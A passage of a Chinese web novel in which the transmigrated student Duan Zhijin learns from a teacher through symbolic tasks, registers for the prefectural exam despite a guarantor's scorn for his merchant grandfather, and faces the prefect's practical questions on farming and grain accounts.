两个小童把门锁打开,活鱼一般“出溜”窜进去,等段之缙过来时砰地关上,胖娃娃歪着脑袋调皮道:“我们老爷说了,书山有路勤为径,您得自己往上爬。”瘦娃娃就藏在人家身后捂嘴嬉笑,然后两人把门从里边锁上,一溜烟跑了。 剩下段之缙一人苦哈哈地爬那石丘,又背着书箱心惊肉跳地从石丘上滑下来。 而两小童早就在石丘后等着了,见老爷的学生出现,一人一边牵着他的手,往“洗砚池”走。 洗砚池为一半月形池塘,池水十分清澈,池内养的也不是锦鲤,而是平平无奇的黑鳞鱼,段之缙虽不认得,可瞧它们的模样也能猜到,大概是能吃的品种。 池中又有一八角亭,檐角飞翘上天,中间不知挂了什么东西,迎着日头反出刺眼的光亮,叫人睁不开眼睛。 胖些的小童不知从何处找出来一小条松烟墨和一方砚台,瘦些的小童从怀里掏来掏去,拿出来一个四四方方的瓷瓶,两人把这些东西都递给段之缙。 “老爷说了,叫您把这一块墨条全磨了,然后墨水倒在瓷瓶里,拿着瓷瓶再去上课。” “可是我已经带了研好的墨水。” 瘦些的孩子蹙眉,“老爷吩咐的。” 段之缙无可奈何,只能蹲在池边打着圈疯狂研墨,幸好那墨条只有一点,没过一会儿便弄完,他把最后一批墨水倒入瓷瓶,又将砚台放入池中洗净。 做完了这一切,也收拾好了身上的脏污,小童突然说道:“我们老爷说,这池子从他来安平那一天便开始洗墨,到如今还是如此清澈,只因它联通着地下暗河,是一潭活水。这是‘问渠哪得清如许,为有源头活水来’,老爷盼望您能够读万卷书,学问如地下河水一般替旧换新,源源不断。” 书山径、洗砚池…… 这一路上竟都是蒋先生的谆谆教诲。 段之缙肃容向两小童作揖,两小童亦郑重回礼。 三人上了洗砚池处舶着的小舟,小童一个坐在船头,一个坐于船尾,在舟上晃荡着小腿,段之缙坐于船中间划桨,一行人往湖心亭中去,等着凑近了他才看明白,亭子上并未悬挂牌匾,而是挂了一面巨大的清凌凌的铜镜,许是刚刚磨过的原因,人影清晰可见。 两个小童匆匆跑到岸上,又扯着段之缙的袖子到亭子边站定,“老爷说,叫你在这站一刻钟,好生看一看镜子,才许去‘观稼阁’。” 三月初江南还有些冷的风飘过脸庞,段之缙紧紧了自己的衣裳,定定地看着那铜镜,自己有些焦躁和不安的神情全然显现。 为何呢? 在这里照这面镜子,是有什么深意吗? 段之缙仰着头看镜中的自己,忽然注意到镜中还有微风吻过池水,荡起一片绸子似的涟漪。两个小童嬉笑打闹,凑在水边舀起池水互泼,也不觉寒冷。 对面更有一楼阁,是自己这么长时间以来,见过最高的楼阁,不知是不是小童口中的观稼阁。 这明镜高悬,照映出的不仅仅是自己,还有天生万物啊…… 一刻钟说短也不短,说长也不长,等两个小童凑上来唤他的时候,段之缙甚至没有反应过来。 他们再次划船,去往最后一个地点——观稼阁。 观稼阁如一个巨人拔地而起,凭空比别的台阁高出来一大截,站在门口往上看,竟也看不到顶。 “老爷说,授课的地点就是观稼阁最顶上一层,叫您自己爬上去,然后往窗外望,一直看到我们老爷来授课。”两个小童说完,又手拉着手跑远,段之缙在其后还能听见小孩子叽叽喳喳的嘲笑声,笑话自己爬书山爬得慢,划船也划得慢,想来没有前头那个大哥哥健壮。 啧…… 提了提后背的书箱,段之缙推开阁楼的木门,每一层的木梯都在屋子最里边,墙上还零零散散的挂着一些东西。 第一层,挂着 一些干稻谷,从崇德九年一直到崇德十六年,有些稻子饱满得似要从稻壳里炸开,有些只剩下一个瘪着的稻壳。那一年,似乎闹了饥荒。 第二层,挂着一些衣裳,和刚才的稻子相互印证,似是稻子饱满的时候,衣裳没那么多的补丁,只留下一个稻壳的时候,衣裳就破烂不堪,那腐烂的气味穿过无穷的时间,似乎真的萦绕在段之缙鼻翼旁。 第三层陈列的,是一张张卖身契。崇德十一年,粮食大丰收,一个女孩的卖身钱是白银三十一两,而到了崇德十四年淮水决堤颗粒无收之时,一个女孩就只能卖十二两银子了,到了连树皮都被扒下来吃的时候,一个女孩就是一麻袋的粗粮,掺着沙土。 最后一层木梯那么长,段之缙摸着漆面有些斑驳的墙壁一步步往上爬,终于到了最顶上,这一层里什么也没有,只四面开窗,郑崑瑛站在窗旁遥遥地向外看。 段之缙走到他的身旁往外望去,是一片波光粼粼的水田,农夫农妇像一个个小黑点,弯腰耸背,似乎将什么东西撒到了田里。 “他们在干什么?”他问。 郑崑瑛回过神:“在选种。如今三月了,将水稻的种子撒到秧田里育出来,等到稻子苗五六寸长可以插秧了,也就到了三月底麦田里的麦子成熟,收获之后重新翻犁施肥,然后以水浸地,赶在四月上旬插秧。” “正是这样,看来德润的农书读得很不错。”身后响起了蒋育成先生的声音,二人立刻回身行礼,口称先生。 蒋先生走到堂前的椅子上坐下,又招呼两人就坐。 “你们二人今天早上辛苦了,又是爬‘书山’又是研墨划船,还要站在外边吹冷风。” 两人连说“不辛苦”,蒋先生狡黠一笑:“既然不辛苦,那以后的日子,都要如今天一样上课,只是不要你们再研墨、照镜了。” 他说着又瞅瞅段之缙的身板,特意叮嘱一声:“尤其是缙儿,你吃穿用度都是头一等的,身子却不如德润健壮,不知能不能熬住科举考试,一定要好生锻炼,叫身子也强健起来。” 光今天一天,说他身子虚的话已经连着听了两次,段之缙面红耳赤地应下来。 蒋先生满意颔首,问道:“上课之前,先生我要先问一事,在那镜子前站了一刻钟,参透了什么道理?” 郑崑瑛居长,长者先答。 他起身一拜:“学生认为,铜镜高悬于亭,又叫我等面镜静思,是取‘明镜高悬’之意。学生们读书科举,是为为官,而为官之道,首在明心见性,照镜自省。” 蒋育成满意一笑:“善!你能解出来‘明镜高悬’的意思,可见心中自有乾坤。” 他又看向段之缙,后者也起身行礼。 可段之缙没有立刻回话,他回忆着这一路所见。 书山苦攀,砚池洗墨,明镜高照,还有这观稼阁,稻谷、旧衣、契书和忙碌的农人…… 他回想过这一切,才终于开口:“学生并没有全然看自己,而是看到了自己身后的池水和小童,看到了对面的观稼阁,与湖心亭遥遥相望。学生想,铜镜高悬,一者照见天地,一者照见民生,我虽站在最前面,可却是最后被照见的,因为学生不过是天地之一粟,众生之一人。读书更是如此。天下读书者何其多?可是以学问进仕者寥寥无几,能够侥幸得中的,正如学生一般站在镜子最前边。” “可这样,他就比身后的天地万物和芸芸众生更高一等了吗?非也,照样是天地之民,众生之一。若不能略过铜镜中的自己看到铜镜外的万物,迟早生祸。” 蒋先生讶然,实在是没想到他有如此高的悟性,能够想到旁人想不到之处,怪不得慎之兄非要自己收下他,若是这么好的苗子叫自己放过了,肠子都能悔青! “你能从镜中看到天地万物,实在不易。有这样的悟性,只要能刻苦攻书,定有高中之日!德润虽然悟性不如你,但德润所习之书已经不知是你的几倍了,跟着德润,把他看过的书全都看一遍,对你有益无害。” 两人称是,蒋先生这才正式开始授课。 他先从五经中抽出一题,叫二人现场写一篇六百字的时文出来,不论笔迹也不管涂抹,当场批阅,二人的水平便已经了然于心。 “德润的时文大善!真可谓是字字珠玑,句句锦绣,破题亦是精妙。但是,一则格局不够浑大,二则为师觉得有些地方过于修饰文字,反而掩住了你文章的精妙之处。” 又看看段之缙的文字,眉头有些蹙:“缙儿破题洞彻无翳,的确是好悟性,可你学问不如德润高深,破题浩大拙朴,但因所知较少,难以论到深处,反而有些空洞。” 他将文章还回去,那两人立刻交换互阅,一个恍然大悟原来题目还可以这么解,一个目瞪口呆原来文章可以这么写,然后相视一笑,将对方的文章留了下来。 蒋先生失笑,这二人倒是十分互补,一个主意立马浮现在脑子里。 他顿顿嗓子开口,“时文取士,最重的是文字,因为文字好坏流于表面,一眼即见分晓。历年来多取华美文章,虽然最近两年上边的话风变了,要摒陈词以张拙朴之文,厘正文风,可下边取士仍偏向于曼丽造句,因而还是德润占据优势,不过你还需小心,文章华美到了惹眼的程度,考官为了迎合朝廷的旨意也是不会选的。” “至于缙儿所作之文,合乎时文取士的要旨,‘博雅通达’四字占了三个,只是不够雅,要多多学习德润的文章才好。” 说到这里,他估算了一下时间说了每天的计划:“县试、府试所考题目具为四书文,正场坐四书文两篇,三场覆试分别做五经文一篇,所以你们这段日子就勤学苦练时文。我每日只讲一个时辰,剩下的时间为师出三道时文,你们各自作文然后相互批阅,为对方提意见,但是不要为对方改。改完之后拿回去自己的文章,按照对方的意见重写一篇出来,写完再给对方批阅,这一次直接改在纸上。然后两篇文章都拿给为师看。” 这是叫他们相互学习,取长补短的意思。 郑崑瑛和段之缙对视一眼,双双拱手施礼:“学生等都明白了。” 蒋先生又补充道:“我每日还会再为你们留功课,带回去做。一日一篇时文肯定是要有的,然后缙儿每日还需读书,一日读多少我也给你算清楚。德润破题差强人意,这个是能够练出来的,先生每日会多为你出一道时文,因此你每日要写两道时文,均需写明如何破题,然后再做文章。” 该说的都说完了,蒋先生便开始授课,两个学生亦是聚精会神,不敢出一声,生怕打扰了先生。 不知不觉,也已经午时了,这两个学生都是年轻力壮的小伙子,上午又是攀爬又是划船,还要爬四层楼阁,俱是饥饿难耐,腹响如雷鸣,也是到了此时才有些走神。 蒋先生该讲的东西也讲的差不多了,先喝一口茶润润嗓子,安抚他们二人稍等片刻,等会儿小童便上来送餐食。 果然没过多久,早上嘲笑段之缙的两个红衣小童便气喘吁吁地提着两个木制餐盒上了楼,后边跟着一个温婉大气的中年妇女。 她一手提一个楠木饭盒,双腕上的玉镯子和铰丝金镯随着走动相撞,发出叮当脆响,头戴金丝嵌宝牡丹簪,含着一抹笑先看了两眼无所适从的学生,才走到蒋先生身边。 蒋先生惊讶道:“夫人怎么来了?” 蒋夫人假嗔道:“这家里还有我不能去的地方吗?你第一回收学生,我怕你出乱子,特意过来看看。” 两个学生闻见是师母,连忙施礼拜见师母。 蒋夫人叫起,说道:“我今日来是看看你们先生,也是求你们多多上心,你们先生多发胃疾,大夫要他三餐按时吃,因而只要到了时间你们得提醒他用饭,不要送上来饭了,童儿们也走了,他看起来功课没完,饭凉了再用。” 段之缙和郑崑瑛都说记下了,把蒋先生弄得仿佛生活不能自理,十分不自在。 蒋夫人见他们乖巧,很是高兴,慈爱地问他们二人喜好吃什么,又有什么忌口,今日没能提前问问真是不应该,以后都按照他们的口味来。 这两人在蒋先生家里白吃白喝,又不用给蒋先生交束脩,怎么好意思再提什么要求?一个说自己除了生的不吃什么都吃,一个说自己万物不挑能吃就行,逗得蒋夫人乐不可支,又说了一会儿话才走。 两个小童也摆好了饭菜,蹭到了蒋先生身边一块吃,郑崑瑛便和段之缙相对而坐。 吃完了饭,下午便写那三道时文,两个人你看看我的,我看看你的,写完之后给蒋先生批阅,每每惊叹于先生的高见。 终于弄完了这一遭,学生们带着自己的课业告退,收获满满地出了院子,段之缙刚一脚踏出月亮门,就见王章和琼香两个人着急地迎上来。 一个问:“二爷今日怎么样?有没有渴着?” 另一个说:“二爷今日吃的什么,饭菜还适口吗?” 他俩心里如何能不急?除了县试考试的时候他俩不能跟着进去,二爷哪回读书没叫他俩在身边? 端茶递水、研磨送书,这样的活二爷自己怎么干得了? 段之缙看这两个比自己都小的弟弟如此紧张,又是当着郑崑瑛的面,猛然体味到了蒋先生被师母当着自己和郑兄的排揎的尴尬。 那两个小伙子还在抱怨:“刚送完陶伯回来,外边就有两个红衣童儿把我们拦住了,说进了月亮门就得自己照顾自己,叫我们都回去,我们哪里舍得下,还是在此等着。” 絮絮叨叨,没完没了,段之缙生怕他俩再说出什么惊天之语,匆匆和郑崑瑛告别,立刻带着两个人离开,一直等着坐到了马车上才放心。 第32章 032府试入场 一日复一日,段之缙和郑崑瑛来往于自家和蒋先生宅邸,每日奔波,不仅学问上长进不少,身子同样康健了起来。 他前生今世都是富贵人家的小哥,也并不经常运动,身条纤细。现在每日背着书箱爬书山,划洗砚池的小船,师母安排的伙食又荤素搭配、营养均衡,不仅大腿粗壮了些许,手臂上也有了肌肉起伏的形状,虽还是有些弱气,可看着真是健康不少。 郑崑瑛家中贫寒些,早年丧父,母亲体弱,家中那些余财也因他早年读书的缘故消耗殆尽,是县令聘他做了师爷后情况才有所好转。平时在家中砍柴挑水的重活都是他干,精瘦但实在有一把子力气在身上,如今有人照顾饮食,原本一层皮的腮上已经撑起了肉,更显得英俊健康。 不仅他俩有改变,蒋先生家里的两个小童变化也甚多。 段之缙喜欢蒋星和蒋月两个娃娃,每日都要在书箱里揣一包饴糖,黏糊糊甜津津的,小孩最是喜欢。他俩年纪小,自然也爱吃糖,一日日眼巴巴地盼着段之缙来上课,叫他们小兄弟二人也甜甜嘴。 可这三个人谁也没有想到深处去,蒋先生家中如此富裕,难道会缺这两个娃儿的糖吗?只不过是因为吃多了牙上生虫,这才不敢叫他们多吃,谁承想这蒋星蒋月二人偷偷摸摸地吃了那么些糖,等着蒋夫人发现的时候,胖些的蒋星倒还好,蒋月两颗后槽牙都已经蛀坏,疼的在床上打滚,泪眼汪汪地朝着老爷夫人忏悔撒娇。段之缙也因此被蒋先生好生罚了一顿。 只庆幸孩子还小,现在长的是乳牙,以后换了牙就不妨事了。 学了不到一个月,三月底的时候管辖安平县的德平府便公布了考试时间,正是在四月十九日。 如今四月初也该收拾收拾东西前往府衙报名,两个学生临行前一天,蒋先生停了授课,为二人详述府试应当注意的事情。 “府试只正场分为及冠与未冠题,覆试还做统一考试。这一次去德平府,你们二人同去即可。还有结保一事,除了县试为你们作保的廪生之外,德平府还会从府学中选派一位廪生为你们作保。” 这岂不是要与两位先生结保? 段之缙不得其解,将心中疑问问出。 蒋先生笑道:“你们自寻结保的先生,多为亲友,自己倒是放心了,可是朝廷却不放心,一定要选派一位与你们互不相识的廪生才可。” 他说完又看看段之缙:“德润我是放心的,他生于斯长于斯,举止也好习惯也罢,都是德平府人的做派。可是缙儿幼年便去了京城,说得一口利索的京话,那指派给你们的廪生定会心疑,实在不行你便说明你和王老爷的关系,所以今夜还需回去问王老爷要一封信用作证明。” 段之缙应是,蒋先生又补充道:“府试是在德平府水井街的考棚中考,不必你们自带桌凳,带上笔墨即可。而且府试比县试严格得多,是一定会排号、点名并且叫与你们结保的廪生当场识任的。再有,府试前挑堂,知府大人会从各县县试排名中选成绩靠前者仔细考察一番,你俩是必然会被挑中的,不过这一次是大家一起,缙儿虽然学问薄一些,不过照先生来看,你很会浑水摸鱼。” “啊?”段之缙突然被点有浑水摸鱼的本事,惊讶地“啊”了一声,郑崑瑛也不知先生何意,在他看来,段弟在学问积累上不如他,可段弟勤学好问,只要是学到了,便扎扎实实,如何能说是浑水摸鱼呢? 蒋先生瞧他俩懵怔的样子,哈哈大笑道:“原来德润还没有发现吗?缙儿极会顺着人家的话往下说。例如上次我们谈佛教之理。” 他一提醒,郑崑瑛立时记了起来,和段之缙对视一眼,忍俊不禁。当时自己与先生谈《华严经》中的“一念普观无量义,一毛端处悉圆满”,原本只是闲话,论一论如何在一念之间洞察无量法义,又如何在微小之处实现大智慧,谁知叫段弟听见了。 段之缙从未读过佛经,一开始自然是迷迷糊糊,不知这二人说来辩去讲些什么,后来听懂方才知晓这是佛理,也听明白了什么意思。 许是他读四书五经读迷了眼,也或许是他真有几分聪明才智,凑上来插话:“学生以为,这倒和朱子所言‘格物’有相似之处。” 蒋先生兴致大发,笑问段之缙:“何解?” “朱子言格物就是要从事物上理会,‘自一念之微,以至事事物物,若静若动,凡居处饮食言语,无不是事’。这不就是‘一念普观无量义,一毛端处悉圆满’吗?我圣人所言之‘理’就是佛典所言之‘无量义’和‘圆满’。” 蒋先生满怀欣慰,赞他书读的愈来越好,竟然连《华严经》都读了。 谁知段之缙嘿嘿一笑,真诚说道:“还没读过佛经呢,现在每日晚看先生的布置的功课,已经很吃力了。” 这些时日,也不知读了多少的农书和水利专著,又要去看各地历年灾情和救灾的状况,有时候还要读一读那《孝经》,最近找来了一本《大雍律例》,二三十万字的数目,叫自己每日看一些。 蒋先生听他说从未读过佛经,对他的感悟力更为欣赏,现在旧事重提也是为了提点他一番。 “缙儿有一个本事,那便是人家讲的东西他虽不知道,可只要能和他知道的贴上一点,他就能讲的头头是道,这种本事可不多见。因知府挑堂的时候是许多士子一起,为了脱颖而出往往是争先恐后地答,生怕自己落于下乘。” 说到此处,蒋先生一笑:“可缙儿你不同,我听慎之兄说你之前学的东西都忘了,是在大约七个月内重新捡起来的,因而学识较为浅薄,若是知府问到了你不知的东西,大可先听别人说,别人给你讲明白了,你再随心所欲地想,不必去争那第一。” 郑崑瑛恍然大悟,原来浑水摸鱼是这个意思,段弟虽然是最后一个答的,可他素来有至深至正之见,即便最后也能给知县留下极为深刻的印象。再者, 士子你不让我我不让你之态,总是不好看,镇定自若更显得出读书人的胸襟。 段之缙也是这时候才明白过来先生的意思,别人一个个抢答的时候,就是把水搅浑,自己就在其中明晰了题目的意思,自然能够“摸鱼”。 蒋先生说完了段之缙又看看郑崑瑛,德润从来都最让人放心,想了一顿也想不出还能多说些什么,最后提醒他为文时不要过分卖弄文字。 说完天也晚了,他没再“讨人厌”地布置功课,而是叫两个孩子直接回家。 段之缙和郑崑瑛二人起身,恭恭敬敬地拜别了先生,急匆匆下楼,正巧撞上两个蒋星和蒋月两个童儿。 蒋先生与蒋夫人女儿缘浅,三十岁上得了一个小女便再无生育,除此之外也仅有二子,家口十分简单。 这一个小女也是自小识字习文,才华出众,不知何时迷上了禅宗,把自己关在屋子里虔心礼佛,整日素衣素袍倒也十分逍遥自在。先生与夫人年近五十也只得这一个小女,如何不珍重?心焦过后一声叹息,也不跟她说谈婚论嫁的事情,任她抄经颂佛,左右还有两个哥哥照顾她一生。 蒋星和蒋月则是夫妇二人灾荒时捡回来的孩子,是给小女使唤的,可小女念佛之后不再要人伺候,一切亲力亲为,这两个小童也只能每日到处溜达,自己找乐子。因而见了段之缙这又能给糖又能说笑的大哥哥自然喜欢,郑崑瑛平日里轻声细语他们也亲近, 今日知他们日后可能不再来都有些难过。 郑崑瑛终究是年纪大些,早年丧父,知天下无不散的宴席,段之缙还是有些伤感,把今天偷带来的一大包饴糖送给二人,还特意嘱咐他们自律些,别再吃得牙烂,说完也没什么好留的,和郑崑瑛各回各家。 …… …… 第二天天一亮,秦先生便来叫段之缙起床,又详详细细地把考试应当注意的事宜说了一遍,和昨日蒋先生所言大差不差。 这些时日他不授书,可也没闲着,和县令大人一块处理县中的事务,最近又是农时,两个人俱忙得脚打后脑勺,昨夜熬了一个通宵今日直接回王家再叮嘱一番,然后说明他长大了,自己去德平府府试即可,不必先生跟着去。 于是,段之缙怀里揣着昨夜问外祖讨要的信件,乘马车和郑崑瑛以及稳重些的王章去了府城。 这几人来得晚了些,中等的客栈已经挤满了士子,三人只能去府城内最好也是价格最贵的那一家,还不等郑崑瑛说话,段之缙朝着他眨眨眼,故意说道:“德润哥,我这可不是白为你花钱的,等你当上了大官,定然要还我今日的银子。” 这话说的,既保全了郑崑瑛的颜面,又不失亲近,一股暖流在郑崑瑛胸膛流淌,与这个朋友更为亲密。 郑崑瑛年纪虽不大,经历却多,失父之后家中闹作一团,往日亲热的叔伯呲着獠牙与寡母争强财产,人心险恶之理早已明白,更知段弟可贵。他明白段之缙处事能力差,因而时时教导,处处领着他。 次日两人都起了一个大早,在府衙刚开门的时间进了大堂,段之缙上次县试结保的廪生孙九思先生也到了,他便和郑崑瑛分开。 “先生。”段之缙行礼,孙九思此次见他极为欣赏,感叹道:“县试未冠题的案首竟然是你,没想到王家有你这般的外孙,真真是少年英才。” 段之缙连称不敢,言说上次的名次也不过是侥幸得中,自己学问还远不到家。 孙先生更因他谦虚有礼而喜爱,与他站在一处等着其他人到来。 上次互保的另外四个士子,只有一个人过了县试,见到“熟人”也很是高兴,“鄙人姚珏,字润玉,敢问兄台如何称呼。” “在下段之缙,长辈尚未取字。” 姚珏一惊,原来是县试未冠题的案首,未必不如他这答及冠题的读书人。他心思澄明,并非善妒之人,此时认识了段之缙自然要好好聊聊,此二人没一会儿便聊得热火朝天,真是一见如故。 过了没多久,又有三位读书人匆匆忙忙赶来,他们俱是上次府试未中者,今年又来考试。 大堂中的人越来越多,人头攒动,堂中衙役将互保的读书人和为他们作保的廪生分组,然后拿出府学委派的廪生名单,叫一位先生的名字那位先生便走进一组中查问考生的姓名、籍贯、年岁和三代信息。 分给段之缙一行人的廪生是一位老秀才,花白胡子一大把,但精神矍铄、中气十足。 老先生上来挨个查问,仔细记了大家的相貌,又和孙九思先生核对,到了段之缙这里却卡住了。 “你是德平府人士?” 他狐疑地打量着段之缙,口音像是北地,万一是冒籍,他这个保结的廪生可是与冒籍者同罪的,这个险不能冒。 “学生的确是德平府人士。” “你的口音不像啊……你说的该是京话吧?” 段之缙回道:“学生六岁时随父母一同到京,今年未过十九岁生辰,到京也未满二十年,因而还是安平县籍贯,属德平府人士。” 旁边的孙九思也向老先生保证。 可这个事儿到底非同小可,若真是冒籍,自己这个秀才的功名也不要想了,定然要被革掉。 “学生父亲是吏部员外郎,再者顺天府的考试总是要比我们淮宁学风昌盛之地容易些,学生何必要跑到淮宁冒籍呢?” 这话说得极有道理,可老先生仍然十分犹豫,不想为他们这一群人作保。段之缙、孙九思和姚珏三人轮番上阵解释,可他仍在许与不许之间。 剩下三位答应和段之缙互保的士子已经心生悔意。 他们自然知道段之缙的情况,可钱财动人心啊,一个北地生活了多年,连德平府话都不会讲的“外地人”回到这里考试,哪一个敢和他互保?因而每一个愿意跟段之缙互保的书生都能拿王老爷二百两白银。 二百两,对王家来说自然不算什么,就是姑奶奶们用的胭脂都比这贵些,可对于他们,也能嚼用好几年了,这才壮着胆子与段之缙互保,结果今日出了事端。 这个老廪生同旁的廪生的想法并无不同,若是他不愿意,其他廪生又怎么敢为他们作保? 因而大家脸色都有些不好看。 姚珏虽然也着急,可他拿人钱财也已经预料到了有今日,没有什么好气恼的,说通这老秀才不就成了? 段之缙解释得嘴皮子冒火,周围的人都已经当场写结保书,只有他们还叽里呱啦不断,惹得衙役们直勾勾盯着他们这一群人。 没办法了,段之缙拉着老先生到一边说:“学生是安平县王元浩的外孙,家父是段成平,不知您是否认识这二人?” 老先生可能不知道王元浩的女婿是谁,但如何能不认识王元浩这淮宁数一数二的大商人? “当真?” “千真万确,我身上还有外祖的信,上边是我们王家的印章。” 老先生拿过信件展开一看,上边果然有王家商号的印章。 如果说北人冒充淮宁籍贯便已经够傻了,那冒籍者绝不可能冒充王元浩这样大人物的外孙。 老先生彻底相信了,但他却冷哼了一声,回到队伍中时先睨了一眼孙九思,嘲道:“我是因朝廷的律令,不得不为有应试资格的学子作保,可你呢?你是读圣贤书之人,如何能不知商贾最贱的道理?为王元浩的外孙作保……” 孙九思眉头紧锁:“您这话什么意思?他外祖是商贾和他有什么关系,难不成他是随着母亲姓王?明明是官员之子,为他作保有什么问题?” 这就是蒋先生把说出外祖身份作为最后之法的原因,士农工商,读书人和这个字沾上一点就像一张被点了墨点的白纸似的,在“身家清白”的读书人眼中已经有了瑕疵,因而能瞒则瞒,越少人知道越好。 终于写完了这一张结保书递给差役,又交了卷价钱,老先生一甩袖子走了,剩下的六人也互相打个招呼散去。 孙九思先生和段之缙比肩而行,有些不忍地 安慰道:“你也见过不少的读书人了,很该知道这里边的风气,总是鄙薄商贾,尤其是商贾出身的士子。只是风言风语虽缠人,可毕竟伤不了你分毫。再说了,嫁娶嫁娶,你母亲嫁给你的父亲,她就不再是商女,应该从夫,是官夫人,是那老秀才浅薄了。” 段之缙弯腰,在府衙门口向孙九思先生恭恭敬敬地行了一礼,竟出乎意料地扬起了一个笑脸,脸上无一丝一毫心烦意乱或是怨天尤人,他用他澄澈的眼睛望着孙九思。 “多谢先生宽慰我,不过学生并不在乎这些话。我母亲虽为商女,可抚我育我之德惠不啻于任何慈母,我外祖虽为商户,爱我怜我之心也不亚于任何外祖,学生又有什么好在乎的呢?” 孙九思倍感欣慰,拍拍他的肩膀连说三声“好”,“小小年纪,不以物喜不以己悲,难得难得。有如此心性,我想你定有一番作为。” 孙先生先行一步,段之缙看着他离去的身影只觉他过誉了,其实自己没生气的原因很简单,他根本不认为商贾下贱。相反,因为商贾有登峰造极的逐利性,往往能想出旁人想不出的主意,做到旁人做不到的事情,即便是豁出去性命,也要干成。 府衙门口,郑崑瑛看见段之缙走出大堂,三步作两步迎上来,疑惑道:“怎么这么长时间才出来,我在堂中远远地看见了你们,你们应该算较早分到廪生了吧?” 段之缙浑然不在意地将方才发生之事告诉郑崑瑛,便见他一副怒气冲冲的样子。 “岂有此理!哪有从母亲那方论是否为商人之子的?再说了,即便真是商人之子,若有意见,怎么不见朝廷下令不许商籍子弟科考?” 郑崑瑛是真心和这个小两岁的弟弟友好,因而此时也是真动了怒气,从来都是淡然模样的人,如今气得脸红脖子粗,真是出乎段之缙预料。 他神经大条地指着德润兄额角暴起的青筋,像是见了什么新鲜事儿:“德润兄,你平时温声细气的,生气的时候这块筋能鼓这么老高呢!” 郑崑瑛叫他八竿子打不着的一句话说的偃旗息鼓,自己也觉得好笑,段弟既然不在意,他又何必一副义愤填膺的样子,淡然处之即可。 两个人携手上了马车同回客栈温书,一日时光竟然也就这么过去。 …… 四月份是段之缙的生辰月,可这里也没有个亲人,两人也都忙着读书作文,因而郑崑瑛去使了一些银两,亲自在后厨为段之缙擀一碗面,这生辰就算过了。 过完了生日,过不几天就是府试,那一天两个人睡得极早,半夜醒来乘马车,子正时分赶到了水井街考棚,街道上已经乌乌泱泱全是要府试的人了。 段之缙观察四周,旁边的楼阁之上有衙役打扮的人向下瞭望,考棚的大门打开,出来了另一队差役,身后亦是乌泱泱的人,他们便是为这些生童作保的廪生。 果然,府试的规矩不知比县试严了多少倍。 差役们按照花名册点名,先叫为他们保结的廪生辨认,的确是此人应试没错,然后搜检其身,连带的干粮都被揉搓成碎渣子,谨防夹带,然后分发卷纸,上边是每一个考生的排号。 场外的人渐渐少了,天也不似方才那么黑,德润兄早在一刻钟之前便进去找号房,而段之缙才刚刚被点到名字。 孙九思先生和那老先生俱上来辨认,幸好后者虽鄙夷商贾,却也没有故意使坏,段之缙成功通过了搜检和辨认,拿好自己的卷纸走进考场。 里边是拿木板粗略隔开的小单间,每一个小单间中都有桌椅供给作文,段之缙看看卷纸上的排号,“玄字三十一号”。 走到了自己的号房前站好,需等着衙役们发号施令才可以进去就坐。 人渐渐来齐了,左右号房也站上了士子,衙役们挨个清点查看卷纸上的排号和号房的号码,防止有人枪替。 到一切就绪时,天边才刚刚有一点亮意。 所有的生童都站在了自己该站的位置,头一件事情便是挑堂。 一个穿石青绿色长袍的中年男子拿出一卷新的花名册,在一排排的号房前边走边喊。 “点到名字的跟在衙役身后去拜见知府大人!” “薛城同!” “刘广洋!” “何茂!” …… “郑崑瑛!” “段之缙!” …… 点了大概十几人,大家跟在衙役身后走进最西侧的堂屋中。 第33章 033函数府试放榜释放奴…… 堂屋中知府陈望祖端坐,头戴乌纱帽,身穿青袍公服,戴银带鞓、黑犀角革带,脚蹬一双白底皂靴,面宽厚白润,秀气的八字胡撇下来,脸上带着些笑模样,无一丝一毫的官威。 他点一点手中扇子,先满意地打量一番对他恭敬下拜的士子,欣慰于两月前的县试选拔出不少贤才。 “先自报家门吧。” 众人按照站列的顺序挨个说出自己的姓名,陈望祖当场记下。 府试里,他的自主权还是比较大的,尤其是挑堂,往年或小讲,或项比,或中权,必四五次易题,核其虚实,试其深浅,生怕叫这抡才大典名不副实,可今年他要问一些更为务实的内容。 “往年的挑堂,总是用经书讲义考察你们的学问。但本府想,你们多年寒窗苦读,总是为了应试做官,不仅要读四书五经修身养性,感悟圣人教诲,还得明钱粮,懂水利,洞彻刑名之道。不过本府也绝不会为难你们,毕竟只是生童,答不上来实属常理。” 下边站着的生童面面相觑、窃窃私语,除一二人镇定自若外,其余人脸上只余惊慌。 郑崑瑛自然不怕,他连佛经都通读了。 段之缙此时感慨万千,蒋先生如何能有先见之明啊!虽然自己这一个月里也就读了没几本书,可知道一点总比一点不知道的强。 不过等会儿他便能明白,知道一点和一点都不知道基本上一样。 “这第一问我要问你们,南方诸省都种植何种作物?” 这个段之缙看过,正做回想之时,郑崑瑛看了他一眼,也不见他作答就不再多等,当即上前一步道:“与我淮宁临近的各省,如古岳、临江等,冬季种植小麦或油菜,小麦和油菜熟后以水浸田,再种稻谷,歉收时一亩只一两石,若风调雨顺则可收至四石……至于极南之地,多山多水,建梯田种水稻者居多,又多种竹蔗,榨取糖料。至于琼州岛……” 他从过了江可称江南之地开始数,一直数到了琼州岛,各省各地从作物种类到熟制再到亩产都说算了个遍,连补充的余地都不给旁人留。 知府从黑漆太师椅上站起,抚掌大笑:“了不得啊了不得!你小小年纪把整个江南都装在胸怀中了,必成大器!” “那本府接下来则要问问,先麦后稻,如何将旱地变为水田?” 郑崑瑛又等了一会儿段之缙,仍不见他作答,这才道:“收麦之后将田土暴晒,然后翻犁。后用火化之法,将干草麦秆、杂树叶等抛于田间,放火焚烧,烧完再犁一边,最后以水浸之。” “大善!这正是农书所记之法。”知府两眼放光,又扫视一番众人:“你们还需要向郑崑瑛学习啊!将来若能穿得一身官服,指导农桑就是要往田间地头里去,怎么能不知农时呢?” 语罢,师爷呈上来一摞账本,是德平府历年的亩产情况和晴雨录,每两本册子做一组,知府接过看了几眼,将记录表分别下发给生童,吩咐他们 分开就坐,又一人分了一把算盘。 “这些记载,都是我德平府历年的产粮和晴雨,你们随便算,本府不加干涉,限时两刻钟,两刻钟之后,报与本府你们都算得何物。” 竟然是要算粮食! 段之缙心中纠结万分,这里进仕的学生,都是从小学的打算盘,《九章算术》一类的算书也是自幼学习,其实就是启蒙的东西,普普通通算一算钱粮根本不在话下。 但自己的情况不同,作为一个现代人,他根本不会打算盘,这记录中的数字也不可能通过口算算出,自己倒是可以写汉字数字来列竖式计算,只是那样的话,两刻钟的时间根本不可能算完这么多的数字。 若是以阿拉伯数字符号来代替汉文,的确能大大提高速度,只是这样一来太过显眼,知府一定会注意到自己。 啧……如何是好? 众人列队领账本的时候,段之缙终于打定了主意。 